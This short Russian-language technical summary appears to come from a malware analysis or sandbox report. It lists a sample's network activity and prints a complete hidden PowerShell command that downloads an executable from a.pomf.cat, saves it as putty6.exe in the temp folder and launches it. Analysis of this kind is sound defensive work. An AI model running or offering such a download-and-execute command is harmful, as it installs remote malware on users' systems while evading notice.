Техническая информация
- https://a.pomf.cat/iwbocb.exe как %temp%\putty6.exe
- 'a.##mf.cat':443
- 'a.##mf.cat':443
- DNS ASK a.##mf.cat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/iwbocb.exe','%TEMP%\putty6.exe'); Start-Process('%TEMP%\putty6.exe')' (со скрытым окном)